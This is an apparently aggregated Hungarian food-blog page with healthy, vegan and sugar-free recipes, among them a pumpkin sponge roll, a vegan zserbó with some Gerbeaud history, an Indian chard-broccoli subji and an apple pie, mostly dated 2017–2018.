Imádjuk az egyszerű sütiket, mint például az elronthatatlan piskóta tekercset, amit az ember ezer féle képpen variálhat, így sose lesz unalmas. Az én töltelékem most egy fahéjás sütőtökös krém, hogy még kiélvezzük az utolsó sütőtököket. Hozzávalók - 4tojás - 75gr zabliszt - 40gr kókuszliszt - 45gr édesítőszer - 300gr sült sütőtök - 100ml tej - 50ml kávé - rumaroma - fahéj Így készítsd - Válaszd ketté a tojásokat - Verd a fehérjét kemény habbá - Keverd ki a sárgáját a fahéjon és a sütőtökön kívül az összes többi hozzávalóval - Forgasd bele a fehérjehabot, majd süsd ki a piskótát - Süsd 180fokon 15percig - A töltelékhez turmixold össze a sütőtököt a fahéjjal - Tekerd fel a piskótát a töltelékkel megtöltve
csokipudingos süti
2018. március 25. Beautilicious
Boci-boci megfázott, sütöttem neki hát egészséges és finom bocisütit. :D hozzávalók tésztához - 4tojás - 200gr tejföl - 150ml tej - 50gr édesítőszer - 100gr zabliszt - 65gr kókuszliszt - 1tk sütőpor csokipudinghoz - 1cékla - 25ml kávé - 100ml tej - 1ek kakaópor - 1nagy marék datolya Így készítsd - Forrald fel a tejfölt a tojássárgájával és tejjel - Keverd össze a száraz hozávalókat, majd szitáld hozzá - Verd habbá a tojásfehérjét, és keverd a tésztához - A pudinghoz a hozzávalókat turmixold össze - Öntsd a Tésztát egy tepsibe, majd kanalazd bele elszórtan a pudingot - Süsd ki 200fokon 30perc alatt
Mandulas-chiamagos palacsinta
2018. március 19. Mindennapi ételeink
Gondolom, nem vagyunk egyedul, akik várjuk a tavaszt. Szeretnenk sok zamatos gyümölcsöt enni, illetve Fanni lanyunknak és nekem is nagyon hiányzik a kertészkedés: az, hogy lássuk az elvetett magok kibujasat, gondozhassuk a kis növényeket...Ez a reggeli friss eperrel meg finomabb, de most melyhuto uritesi szezonban fagyasztott szederrel fogyasztottuk. Hozzávalók: 15 dkg teljes őrlésű tonkolyliszt 7 dkg mandulaliszt 3 ek.chiamag ~4 dl mandulatej 1 ek.sutopor 4 ek.olaj 1 ek.eritrit (nyirfacukor) Fahéj, vanilia-izles szerint Elkészítés: A mandulatejbe belekeverjük a chiamagokat és kb 10 perc alatt hagyjuk, hogy megduzzadjanak. Eközben összekeverjük külön a száraz alapanyagokat, majd a mandulatejes chiamaghoz öntjük az olajat. Mindezt hozzáadjuk a száraz hozzavalokhoz. Kokuszzsirral kikent serpenyőben kisütögetjuk őket. Mézzel, sziruppal, lekvárral locsolva, gyümölcsökkel fogyasztjuk .
Vegán zserbó
Olykor-olykor megfogalmazódik bennem egy vágy, elkészíteni egy adott ételt vagy süteményt. Egyes esetekben jól ismert és általam vagy férjem által kedvelt étel vegán verziója a terv, más esetekben csak ötlet, hogy a különböző alapanyagok hogyan állnak össze egy komplett étellé. A zserbó is régebbi vágyam volt. Vegán zserbó. Ugyan az interneten keringenek különböző receptek, de nem nyerte el a tetszésemet egyik sem olyan mértékben, hogy azt mondjam, "igen, ez az! megcsinálom!" Városunkba, utánunk valamivel később, leköltözött Londonból egy nagykőrősi házaspár, nagyjából egyidősek vagyunk. Emlékszem, az első Londonban eltöltött karácsony alkalmával a feleség készített zserbót, majd amikor már itt laktak, akkor itt is. Így kezdett el bennem is mozogni a vágy, készítenék és ennék zserbót vegán módra. Nyáron, amikor Magyarországon voltunk, diót és baracklekvárt is kaptunk, tehát az alapanyagok adottak voltak. Félre is tettem mindkettőből annyit, hogy zserbót tudjak készíteni. Amikor már készítettem, rájöttem, hogy ennek bátrabban neki kezdhettem volna, mert nekem elég egyszerű. Bár sok hozzávalót tartalmaz, mégsem olyan nehéz elkészíteni. Legyen húsvét vagy karácsony, vendégvárás vagy vendégségbe készülődés, remek desszert a vegán zserbó.
Miután Gerbeud feleségül vette a genfi csokoládégyáros lányát, Ramseyer Esztert, 1884-ben, 30 évesen, Magyarországra költözött, majd 1885-ben átvette Kugler Henrik cukrászdáját a budapesti Gizella (ma Vörösmarty) téren, berendezte a városligeti Királycsarnokot, feltalálta a macskanyelvet, a csokoládés drazsét, többszáz-féle bonbont exportált Európába, Dél-Amerikába, még a török szultán háremébe is szállított, folyamatosan dolgozott. Produktív életet élt. A kérdés azonban felvetődik bennem is, mi köze Gerbaud-nak ehhez a finom süteményhez? Valóban az ő kezének a produktuma? Evett - e életében zserbó szeletet Emil Gerbaud?
Állítólag a Gerbeaud-házban 1948-tól működő Vörösmarty Cukrászda találmánya volt a híressé vált dió és lekvár kompozíció, tetején csokimázzal, azaz a >>zserbó-szelet
kakaós vaníliakrémes bögrés süti
2018. március 4. Beautilicious
Szeretnél egy finom reggelit, de nincs időd sütögetni? Semmi baj! Itt a megoldás; nem kell hozzá más, csak néhány hozzávaló, egy mikró, és 5 perc. Hozzávalók - 100gr túró - 1 tojásfehérje - 30gr édesítőszer - 10gr kakaópor - 25gr barnarizs liszt - 25gr kókuszliszt - 1tk sütőpor - 60ml kávé - 100ml kókusztej - 50gr sajtkrém - 25gr vaníliás fehérjepor Így készítsd - Keverd össze egy bögrébe a hozzávalókat a sajtkrém, kókusztej, és fehérjepor kivételével - Utóbbiakat keverd össze külön - Csinálj egy lyukat a bögre közekébe, és töltsd meg a krémmel, majd fedd le egy kis kakaós keverékkel - Tedd mikróba 5 percre
csokipudingos-túrós rétes
2018. február 22. Beautilicious
Hogy is képzelhetnénk el a nassolást rétes nélkül? Sehogy! Még a diéta alatt sem maradhat ki egy igazi magyar étrendjéből a rétes. Klasszikus, és örök kedvenc :) Hozzávalók - 100gr barnarizs liszt - 150ml szénsavas víz - egy csipet só - 3 tojás - 200gr túró - 40gr kakaópor - 40+40gr édesítőszer - 200ml folyadék - 30gr kókuszreszelék - 1 citrom leve Így készítsd - A tojásfehérjét szénsavas vízzel, csipet sóval, és a liszttel keverjük össze. Palacsintatészta állagot fogunk kapni. - Ezt öntsük tepsibe, és süssük 10percig - A töltelékhez készítsünk csokipudingot a megszokott módon ( felfőzzük a folyadékkal a tojássárgáját, édesítőt, kakaóport) - A túrós töltelékhez a túrót kikeverjük édesítőszerrel, és citromlével. An kókuszreszeléket is tettem bele, mert imádom :D - Megtöltjük a tésztát, és feltekerjük, majd sütjük 30percig
Almás zabpelyhes keksz - tojásmentes, cukormentes, tejmentes
2018. február 18. Élj harmóniában
Ha tél és gyümölcs, akkor, az leginkább az alma. Ilyenkor érdemes a szezonalitásnak megfelelő gyümölcsöket, zöldségeket enni, mert sajnos pl. a déli gyümölcsök ugyan finomak, de természetüket tekintve hűtik és nedvesítik a szervezetet és nehezebb őket a szervezetnek emészteni ilyenkor. Ezért fázékonyságot, puffadást, orrfolyást, etc. eredményezhetnek. Ha már alma, ma egy nagyon puha zabpelyhes kekszek készítettem. Ez egy egyszerű, gyors és egészséges finomság. Lehet reggeli vagy desszert is. Készítheted teljesen cukormentes változatban is, ha édes az alma. Gluténmentes diétában, gluténmentes zabpelyhet és zablisztet használj. Hozzávalók 1 csésze zabliszt 1 csésze zabpehely 1 tk. szódabikarbóna 1 tk. fahéj 1/4 tk, vanília 1 csipet szárított gyömbér 1/3 csésze kókuszolaj (vajat is használhatsz helyette) 2 ek. lenmagliszt 8 ek. víz 4 közepes alma Vegyszermentes (bio) alapanyagokat használj! Az almát mosd meg, hámozd meg és reszeld apróra vagy használj aprítógépet. A lenmaglisztet öntsd le a vízzel és hagyd állni egy picit - ez fogja összetartani a tésztád. (A "tojás helyettesítéséről" egy korábbi bejegyzésben részletesen írtam már itt olvashatod) Egy tálban keverd össze a zablisztet, zabpelyhet, szódabikarbónát, fűszereket. Ha nagyon édesszájú a család keverj hozzá teljes értékű nádcukrot. Majd keverd hozzá az olvasztott kókuszzsírt és add hozzá a lenmaglisztes keveréket. Az egészet keverd gyorsan össze. Amikor elkeverted a tésztát, kanál segítségével egy sütőpapírral bélelt tepsire tegyél adagokat és nyomkodd le, hogy keksz formája legyen. Tedd 180°C fokra előmelegített sütőbe és süsd amíg aranybarnára sül. (kb. 20-25p) . A végén ha édesebben szeretnétek egy kis barna nádcukorral szórd meg.
Mángoldos – bokkolis subji – indiai zöldséges főétel
2018. február 15. Eszemiszom – Jóga Magazin
Ezt a subjit gyakran készítem, és képes vagyok több nap egymás után is újra és újra megcsinálni. Imádom ezeknek a zöldségeknek az ízkombinációját és a látványát is:)
Hozzávalók
3 ek. ghí ( vegán változatban kókuszzsír)
1 nagy édeskömény
1 nagy fej brokkoli
1 csokor mángold
1 kk. római kömény
1 kk. édeskömény
0,5 ek örölt koriander
1 kis db gyömbér
csipet kurkuma
só
Vegyszermentes (bio) alapanyagokat használj!
A brokkolit szedd rózsáira, mosd meg és a rózsákat vág félbe – ha nagyon nagyok 3 vagy 4 részre, emrt így pont együtt készül majd el a többi zöldséggel:). Az édesköményt mosd meg és vágd darabokra. A mangoldot szedd leveleire mosd meg és azt is vágd kisebb darabokra. Én először középen vágom félbe és utána keresztbe.
A zsiradékot tedd egy forró edénybe. Tedd bele a római köményt és az édesköményt és pirítsd egy rövid ideig. Add hozzá a gyömbért, koriander és pirítsd őket néhány percig, majd tedd bele a kurkumát. Tedd hozzá a zöldségeket és.tegyél hozzá egy kis vizet, keverd meg és fedd le úgy, hogy egy kis rés maradjon. Néha kevergesd és addig párold, amíg a zöldségek megpuhulnak.
Rizzsel, chapati kenyérrel, quinoával vagy bármilyen gabonával tálalhatod. A végén locsold meg olívaolajjal vagy napraforgóolajjal.
Gluténmentes, tojásmentes, tejmentes mazsolás - diós muffin
2018. február 11. Élj harmóniában
Nagyon szeretek muffint készíteni, mert gyors, látványos, ízletes, változatos. Egy muffin elkészítése 10 percet sem vesz igénybe - amiből kb 5 perc a mosogatás:) plusz a sütési idő, amíg tudsz mást csinálni. És utána... friss süti illat, isteni, friss ízek, langyos tészta. puha állag, gyönyörű látvány na és még ha olyan alapanyagokból csinálod egészséges is lehet - ellentétben a bolti kekszekkel, sütikkel. Az otthon készült finom muffin ideális ebéd utáni sütinek, vagy csak úgy délutáni nasinak pl. ma vasárnap délutánra:) vagy reggelire, uzsonnára, de lehet vacsora étel is. Gyerekeknek egész pici kortól jó alternatíva a bolti péksütemények, dobozos kekszek, desszertek helyett. A friss jó, tiszta minőségű alapanyagokból készült házi ételekkel elkerülhető a gyerekeknél kialakuló táplálékérzékenység, allergiák. Ma ekadasi napja van - erről bővebben egy korábbi bejegyzésben olvashatsz itt. Ilyenkor nem fogyasztunk gabonaféléket. így a mai ebéd utáni desszertnek egy gluténmentes, hajdinalisztes mazsolás diós muffint készítettem. A mazsolás diós ízesítés egy elég klasszikus ízkombináció, amit a legtöbben szeretnek:) Hozzávalók 2 bögre hajdinaliszt 1 bögre teljes értékű nádcukor 1 csg. sütőpor v anília fahéj 6 ek. kókuszolaj 1/2 bögre mazsola 1/2 bögre dió apróbb darabokban kb 1,8 bögre víz Vegyszermentes (bio) alapanyagokat használj! Keverd össze a száraz hozzávalókat egy tálba. Keverd hozzá a mazsolát és a diót is. Majd öntsd hozzá a kókuszolajat és a vizet. Ha a kókuszzsír meg van dermedve én forró vízzel szoktam leönteni és amikor szépen elolvadt a vízzel együtt öntöm a tésztába. Néhány lágy mozdulattal dolgozd össze a tésztát. A muffin készítés egyik titka, hogy soha ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Ha kevés a folyadék akkor tegyél még hozzá annyit, hogy a tészta lágy legyen. Majd adagold a tésztát a muffin formába. Én muffin papírral szoktam a formát kibélelni, de vajjal és liszttel is megteheted. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 20-25 p) .
Kókuszos vaníliapudingos sajttorta
2018. február 10. Beautilicious
Bár a sütés végére a konyha romokban állt, a süti íze kárpótolt mindent, és remélem itthon anyáékat is :D. Könnyű krémes cukor, liszt, és bűntudatmentes sütemény Hozzávalók - 150gr kókuszreszelék - 500gr alma pürésítve - 250ml folyadék - 3 tojás - sütőpor - fél citrom leve - 250gr sajtkrém - 100gr görög joghurt - 1csomag vaníliás pudingpor - 5ek édesítőszer - 400ml tejÍgy készítsd - A tésztához keverjük össze a kókuszreszeléket 3 tojás sárgájával, almapürével, 300ml folyadékot, citromlével, és a sütőporral - Tedd a tésztát magasfalú tepsibe, és süsd elő 170 fokon 20percig - A krémhez főzd meg a pudingot a tejben édesítőszerrel - Ha langyos keverd össze a joghurttal, és a sajtkrémmel - Verd fel a tojásfehérjét, és óvatosan keverd a pudinghoz - öntsd rá a tésztára, és süsd 40-45 percig
Mángoldos - bokkolis subji - indiai zöldséges főétel
2018. február 8. Élj harmóniában
Ezt a subjit gyakran készítem, és képes vagyok több nap egymás után is újra és újra megcsinálni. Imádom ezeknek a zöldségeknek az ízkombinációját és a látványát is:) Hozzávalók 3 ek. ghí ( vegán változatban kókuszzsír) 1 nagy édeskömény 1 nagy fej brokkoli 1 csokor mángold 1 kk. római kömény 1 kk. édeskömény 0,5 ek örölt koriander 1 kis db gyömbér csipet kurkuma só Vegyszermentes (bio) alapanyagokat használj! A brokkolit szedd rózsáira, mosd meg és a rózsákat vág félbe - ha nagyon nagyok 3 vagy 4 részre, emrt így pont együtt készül majd el a többi zöldséggel:). Az édesköményt mosd meg és vágd darabokra. A mangoldot szedd leveleire mosd meg és azt is vágd kisebb darabokra. Én először középen vágom félbe és utána keresztbe. A zsiradékot tedd egy forró edénybe. Tedd bele a római köményt és az édesköményt és pirítsd egy rövid ideig. Add hozzá a gyömbért, koriander és pirítsd őket néhány percig, majd tedd bele a kurkumát. Tedd hozzá a zöldségeket és.tegyél hozzá egy kis vizet, keverd meg és fedd le úgy, hogy egy kis rés maradjon. Néha kevergesd és addig párold, amíg a zöldségek megpuhulnak. Rizzsel, chapati kenyérrel, quinoával vagy bármilyen gabonával tálalhatod. A végén locsold meg olívaolajjal vagy napraforgóolajjal.
Napraforgós cékla fasírt
Nagy kedvencem ez a roppanós, vegán, tulajdonképpen zabfasírt. Céklával készítettem az idénynek megfelelően, de bármilyen zöldséggel készíthetjük. Lassan felszívódó szénhidrátokat tartalmaz, sok rostot és fehérjében gazdag a zabpehely miatt. Hozzávalók: 25 dkg kis levelű gluténmentes zabpehely 1 db reszelt, friss cékla 1 teáskanálnyi vegamix 1 kk parajdi só maréknyi enyhén pirított napraforgó mag 1 cikk préselt fokhagyma kb 1,5 dl meleg víz A vízhez hozzákeverjük a vegamixet és a sót, ráöntjük a zabpehelyre, hozzáadjuk a napraforgó magot, a reszelt céklát, fokhagymát, összekeverjük és hagyjuk állni körülbelül 10-15 percig. Ha túl száraznak találjuk adhatunk hozzá még vizet, vagy ha folyós akkor még zabpelyhet. Formázható állagúnak kell lennie. Evőkanállal kiszaggatjuk és tetszőleges méretű fasírtokat formázunk belőle. Forró kókuszolajban kisütjük. Süthetjük sütőben is, akkor viszont a masszához adjunk egy evőkanálnyi hidegen sajtolt olíva olajat vagy napraforgó olajat. Önmagában vagy salátához, különböző köretekhez feltétnek, akár főzelékhez kitűnő.
3 hozzávalós földimogyorós energia golyók (laktózmentes, gluténmentes, vegán)
2018. január 20. Zizi kalandjai
Egy villámgyors snack ötlet a hétvégére, amihez tényleg csak három alapanyagra van szükségünk és pillanatok alatt elkészül, a hétvégére pedig el vagyunk látva nassolnivalóval. Imádták a fiúk miközben összegyúrtuk, kóstolgatták (ahogyan mindent szoktak főzés közben), aztán falatoztak a golyókból párat uzsonnára. A golyók fő hozzávalója natúr földimogyoróvaj, ehhez jön kókuszliszt és egy kis... Source
kókusz tekercs
2018. január 14. Beautilicious
Egy igazán könnyű finomság, amihez még a sütőt se kell bekapcsolnod. Hozzávalók a sötét rétsz: - 75gr mandula - 35gr útifűmag héj - 50gr datolya - 30gr kakaópor - 50ml kávé - 150ml tej a kókuszos töltelék: - 65gr kókuszreszelék - 350gr túró - 50gr édesítőszer Így készítsd - A sötét rész hozzávalóit turmixgépbe tesszük és összeturmixoljuk - Ugyan ezt tesszük a krémmel is - Kinyújtjuk a sötét masszát, majd megtöltjük a kókuszos krémmel - Feltekerjük, majd becsomagoljuk, és hűtőbe tesszük pár órára, végül szeleteljük
Tökéletes vegán sajtos krumplipüré, amit nem lehet abbahagyni
A normál krumplipürénél ez sokkal finomabb, a krémes, sajtos íz nagyon feldobja a hétköznapi köretet. fél kg krumpli 2 evőkanál kókuszolaj 2 evőkanál sörélesztőpehely 2 dl növényi tej (pl. szójatej) só ízlés szerint A sós vízben, héjában megfőzött majd meghámozott krumplihoz hozzáadjuk a kókuszolajat, a növényi tejet, és a sörélesztőpelyhet, majd pépessé dolgozzuk. Ha kell, akkor még sózzuk. A kívánt állagtól függően adhatunk hozzá több olajat és növényi tejet. The post Tökéletes vegán sajtos krumplipüré, amit nem lehet abbahagyni appeared first on VegaNinja.
Pofonegyszerű magyaros nemvajkrém
Hozzávalók egy normál magyaros vajkrémes műanyag doboz megtöltéséhez - 125 g főtt bab (konzerv tökéletes) - 2 mk ecet - 1 csapott mk pirospaprika - fél mk őrölt kömény - 1/4 mk fokhagyma granulátum - 1 ek olvasztott kókuszolaj - 1 ek víz Botmixerrel habosítsd össze a hozzávalókat, és kész. És ez tényleg ilyen egyszerű! :) Jó étvágyat! Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Vegán MUST HAVE – a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven The post Pofonegyszerű magyaros nemvajkrém appeared first on Kertkonyha.
Kávés csokitorta
2017. december 28. Gitta nyersétel blogja
Még egy torta, mert tortából sosem elég :) Ennek a tortának az a titka, hogy elkészítés után legalább 2 órát a mélyhűtőben kell tartani, és utána is érdemes még hidegen hagyni, hogy a krémek összeálljanak. Így nagy eséllyel nem fog szétfolyni, ott a vendégek előtt, mert az olyan elég-kellemetlen... az alapra a kávés csokiréteg kerül, arra pedig a vaníliás krém Hozzávalók: az alaphoz: 12 dkg zabpehely 9 dkg puha datolya 1 kávéskanál instant kávé por (lehet koffeinmentes is) kávés csokikrém: 25 dkg puha datolya 10 dkg olvasztott kókuszolaj 2 evőkanál kakaópor 2 kávéskanál instant kávé por (lehet koffeinmentes is) vaníliakrém: 20 dkg kesudió 12 dkg olvasztott kókuszolaj 7 dkg méz 1 dl víz egy kávéskanál bourbon vanília por A tetejére kakaóport szórunk Előkészítés: A kesudiót beáztatjuk tiszta vízbe 4 órára. A tortaformát kibéleljük sütőpapírral. Elkészítés: Az alaphoz az összetevőket aprítógépben összedolgozzuk, és belenyomjuk az előkészített tortaformába. A kávés csokikrémhez az összes hozzávalót turmixgépbe tesszük és krémesre dolgozzuk. Rásimítjuk a tortaformában az alapra. Hűtőszekrénybe tesszük, hogy megdermedjen. Közben elkészítjük a vaníliás krémet. Ehhez minden hozzávalót turmixgépbe teszünk, és krémesre turmixoljuk. Ezt a következő réteget csak akkor tegyük rá a tortára, ha a csokis réteg már meg tudja tartani. Simítsuk el, és szórjunk rá kakaóport. Egész kávészemekkel díszítsük. Annyira lágy puha a csokis krém, hogy alig akar megállni Úgy számoljunk, hogy felvágás előtt legyen ideje a tortának összeállni, ezt csak hidegben tudja megtenni, úgyhogy ezt a tortát érdemes előző nap elkészíteni, és 2 óra fagyasztóban, majd utána kb 5 fokos hűtőszekrényben tárolni.
sütőtökös túrógolyó
2017. december 21. Beautilicious
Sose fogyhatunk ki a finomságokból. Nálunk a konyhában mindig van mihez nyúlni, de mind ezt nyugodt szívvel tesszük, mert ezek a finomságok mindig egészséges alapanyagokból készülnek. Most a szezon sztárja kapta a főszerepet. A megunhatatlan kedvencem, a sütőtök. Hozzávalók - 250gr sütőtök - 200gr túró - fél fej vöröshagyma - só - 125gr zabliszt - 25gr útifűmag héj - 50gr lenmagliszt - sütőpor Így készítsd - Süsd meg a sütőtököt - Dinszteld meg a hagymát kókuszzsíron - A hagymát, sült sütőtököt, és a túrót turmixold össze - Keverd össze a száraz hozzávalókat, majd öntsd hozzá a tökös keveréket - Gyúrd össze, majd formázz golyókat - Süsd ki 180 fokon 30perc alatt
narancsos kókuszos mini palacsinta
2017. december 17. Beautilicious
Nincs is jobb dolog a hétvégi reggelinél. Mikor reggel a konyhába és megláttam a pulton a narancsokat, egyből tudtam, hogy mi lesz a sorsuk. Nagyon jó helyre kerültek :D Hozzávalók - 65gr kölesliszt - 15gr bambuszrostliszt - 35gr kókuszreszelék - 40gr édesítőszer - fél csomag kakaópor - 2 narancs kifacsart leve - 150gr túró - 50 ml kókusztej - kókuszolaj a sütéshez Így készítsd - Törd össze a túrót, és keverd össze a tejjel, és a narancslével - Keverd össze a száraz hozzávalókat, majd öntsd hozzá a túrós keveréket - Gyúrd össze alaposan - Forralj fel egy kis kókusz olajat a serpenyőben, majd süsd ki a palacsintákat
citromos mákos keksz
2017. december 14. Beautilicious
Hamarosan itt a karácsony, jönnek a vendégek, és majszolják a sok finomságot. Te sem maradhatsz süti nélkül! Itt az egyik kedvenc, cukor, glutén és tojásmentes keksz receptem, amit te is biztosan imádni fogsz. Hozzávalók - 150gr kölesliszt - 30gr bambuszrost liszt - 50gr mák - 50gr édesítőszer - 1 citrom héja és leve - 1tk szódabikarbóna - 125gr joghurt - 50ml kókusztej Így készítsd - Keverd össze a száraz alapanyagokat - Reszeld le a citrom héját, majd facsard ki és öntsd a lisztes keverékhez - Add hozzá a többi hozzávalót is, majd gyúrd össze - Süsd ki 180fokon 30perc alatt
kakaós kókuszos amerikai palacsinta túrókrémmel
2017. december 9. Beautilicious
Egy ráérős reggelen nincs is jobb, mint egy frissen sült amerikai reggeli egy picit megreformálva. Egészséges finomság, amit a családban mindenki imádni fog Hozzávalók - 50gr kölesliszt - 50gr kókuszreszelék - 45gr + 2ek édesítőszer - 2 tojás - 30gr kakaópor - fél csomag sütőpor - 100+50ml kókusztej - 50gr sajtkrém - 250gr túró - kókuszolaj a sütéshez Így készítsd - A tojásokat válaszd ketté - A sárgáját keverd fehéredésig az édesítővel - Add hozzá a kókusztejet, majd a száraz hozzávalókat - A fehérjét verd kemény habbá, majd forgasd a masszába - Süsd ki kókuszolajban - Amíg sül a tészta, keverd össze a túrókrém hozzávalóit: a 2ek édesítőt, 50gr sajtkrémet, 50ml kókusztejet és 250gr túrót
Almás pite (laktózmentes, vegán)
2017. december 1. Zizi kalandjai
Olyan népszerű lett a közösségi média felületeken megosztott almás pite fotója és többen követeltétek a fotó hatására a receptet, így gondoltam, hogy megosztom veletek itt a blogon. Annyira, de annyira egyszerű a recept és olyan gyorsan készen van egy kis trükknek köszönhetően, a látvány pedig levesz mindenkit a lábáról. Mentsétek el a receptet, mert karácsonykor szerintem jól fog mutatni egy ilyen desszert az asztalon.
A recept gyorsaságának a titka a Tante Fanny édes linzertészta. Ennek köszönhetően készül el nagyon gyorsan! A jó hír, hogy a tészta vegán, így vegánok és laktózérzékenyek is használhatják sütemények készítéséhez. Sajnos a Tante Fannynak nem minden tésztája kapható minden szupermarketben (weboldalon meg tudjátok nézni, hogy ez az édes linzertészta például hol szerezhető be). Érdemes a tésztából kettőt beszerezni, ha szeretnétek szép mintákat is szaggatni a pite tetejére. Attól függően, hogy mekkora formába teszitek, lehet, hogy egy csomag tészta elég lesz a pite aljának és tetejének elkészítésére is, de ha nagyobb formába teszitek, akkor szükség lesz a második csomagra is. A megmaradt tésztából pedig szaggathattok különböző formákat, süssétek meg és kekszként megehetitek, akár úgy is, hogy két kekszet lekvárral ragasztotok össze.
Almás pite (laktózmentes, vegán) Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 20 perc Teljes idő 30 perc Villámgyorsan elkészülő, finom almás pite. Szerző: Zizi Recept típusa: sütemény Konyha: vegán Adag/mennyiség: 4-6 főre Hozzávalók 1 vagy 2 csomag Tante Fanny édes linzertészta 2-3 db alma, kimagozva, vékony szeletekre vágva őrölt fahéj őrölt vanília szeletelt mandula frissen facsart citromlé agavé szirup (opcionális) kókuszolaj Elkészítés A sütőt melegítsük elő 180C fokra. Az almaszeleteket locsoljuk meg egy kevés citromlével, hogy ne barnuljanak meg. Kinyújtjuk a tésztát és beletesszük egy kerek kiolajozott, sütőpapírral bélelt pite formába. A tészta szélét, ha túl nagy és kilóg a formából, akkor vágjuk le. A tésztát villával szurkáljuk meg néhány helyen. Betesszük a sütőbe és 10-15 percen keresztül elősütjük úgy, hogy sütőpapírt teszünk a tésztára és valami nehezéket a sütőpapírra (száraz lencsét vagy babot), hogy a tészta ne emelkedjen fel. Ha félig megsült a tészta, kivesszük a sütőből és az almaszeleteket szépen körbe rátesszük a tésztára, megszórjuk fahéjjal, vaníliával, egy kevés agavésziruppal és szeletelt mandulával. A maradék tésztából (vagy ha nem maradt, akkor egy új csomagot felbontva) csillag formákat szaggatunk rá. Tegyük vissza a sütőbe és légkeveréses programom 180C fokon süssük kb. 20-25 percen keresztül, amíg a teteje is enyhén megbarnul és az almák elkezdenek megpuhulni, kicsit levet ereszteni. Jegyzetek Az agavé szirup el is hagyható, mert a linzertészta be van édesítve, az almák pedig édesek, tehát anélkül is nagyon finom. Az almaszeletek tetejére a szeletelt mandulán kívül aprított diót is tehetünk. 3.5.3229
sütőtökös kókuszkocka
2017. november 29. Beautilicious
Amikor két étel közül nem tudom eldönteni, hogy melyiket kívánom jobban, kombinálom a kettőt. Így született hát sütőtökös kókuszkocka is. hozzávalók - 5ek kókuszliszt - 5ek zabliszt - 2ek bambuszrost liszt - 6 tojás - 150gr sült sütőtök - 6+3 ek édesítőszer - 500ml kókusztej - fél zacskó sütőpor - 5ek kakaópor - kókuszreszelék a forgatáshoz így készítsd - Keverd össze a liszteket 6ek édesítővel, sütőporral, majd add hozzá a sütőtököt - Válaszd ketté a tojásokat, a sárgáját tedd félre, a fehérjét verd habbá - A habbá vert fehérjét forgasd a lisztes keverékhez - Süsd ki a piskótát 30perc alatt - Készítsünk csoki szószt: Vegyük elő a tojássárgáját, és keverjük el 3ek édesítővel, és 5ek kakaóporral, majd öntsük fel a tejjel, és 5perc alatt főzzük fel - A kókuszreszeléket öntsük ki egy tálba - A piskótát kockázzuk, majd a csokiszószba forgatjuk, aztán mehet a kókuszreszelékbe
Instant zabkása házilag
2017. november 26. Éltető ételek
Az élelmiszergyártók próbálnak minden igényt kielégíteni, így az egészséges táplálkozás felé kacsintó embereket is igyekeznek kiszolgálni. Sajnos a hangzatos nevek mögött nem mindig találjuk meg a tápláló ételeket, így az instant, zacskós zabkása sem a legjobb megoldás az életmódváltóknak. Miért is? Nézd meg egy ilyen kása összetevőjét: 53% zabpehely, cukor, zsíros tejpor, kukoricakeményítő, glükózszirup, 2,8% fagyasztva szárított málna darabok, 2,4% chia mag, természetes aroma, étkezési só, savanyúságot szabályozó anyag (citromsav). Szerinted? Inkább készítsd el magad, már csak azért is, mert ami valóban jók, azok iszonyúan drágák. Elég nagy mennyiséget szoktam készíteni, de miért is apróznám el, hiszen nagyon sokáig eláll. Ajánlom elolvasásra egy korábban írt cikkemet ezekről a zacskós kásákról. Hozzávalók: - 50 dkg zabpehely - 20 dkg mazsola - 20 dkg dió - 10 dkg kesudió Eddig tartott az alap összetevők listája :) Tehetsz még bele: - 4-5 evőkanál kókuszreszeléket - 4-5 evőkanál puffasztott gabonát, pl. köles, amaránt, quinoa - fincsi, keserű étcsokit apróra vágva - 1-1 kávéskanál vaníliapot és fahéjat Elkészítése: - A kesudiót daráld meg. - Egy késes daráló segítségével dolgozd porhanyóssá a zabpelyhet és a mazsolát. - Majd néhány fordulatra tedd bele a diót is. - Keverj mindent össze. Hogyan edd? Tegyél egy tálba 3-4 evőkanál kásaport, majd öntsd le meleg növényi tejjel. Én még szoktam belevágni egy gyümölcsöt is. Jó étvágyat!
Vegán kókuszkocka (tej- és tojásmentes)
2017. november 19. Élj harmóniában
A tojásmentesség alap az édességeimnél és ugyan mi fogyasztunk tejterméket - erről már régebben írtam, hogy mi az ájurvéda álláspontja a tejfogyasztásról ( a cikket dr. Frawley tollából itt olvashatod) - de sokszor készítek vegán édességeket. A mai is ilyen nap volt, a klasszikus, finom kókuszkockát szerettem volna vegán módon elérhetővé tenni a családom számára. Általában mindent szeretünk ami kókuszos, így a kókuszkocka is nagy kedvenc.:) Hozzávalók piskóta Vegán kókuszkocka (tej- és tojásmentes)25 dkg teljes kiőrlésű tönkölybúzaliszt vagy búzaliszt 25 dkg fehér tönkölybúzaliszt vagy búzaliszt 18 dkg teljes értékű nádcukor 8 dkg kókuszzsír 1 csg. sütőpor vanília 4 dl mandulatej vagy rizstej fél citrom héja csokoládés réteg 10 ek kakaó 10 dkg kókuszzsír 15 dkg nádporcukor 3 dl mandulatej vagy rizstej külső réteg 25 dkg kókuszreszelék Vegyszermentes (bio) alapanyagokat használj! Tedd a tészta száraz hozzávalóit, keverd jól össze, majd tedd hozzá a kókuszzsírt és a mandulatejet is. Keverd össze lágy mozdulatokkal és öntsd sütőpapírral bélelt tepsibe. 180 fokon süsd készre (kb 30 p), amjd hagyd kihűlni. A kihűlt piskótát vágd fel. A csokoládés réteg hozzávalóit keverd össze egy edénybe és főzd fel. A forró csokoládésba mártogasd bele villával a piskótakockákat, majd forgasd bele kókuszreszelékbe.
"nutellás" gombóc
2017. november 11. Beautilicious
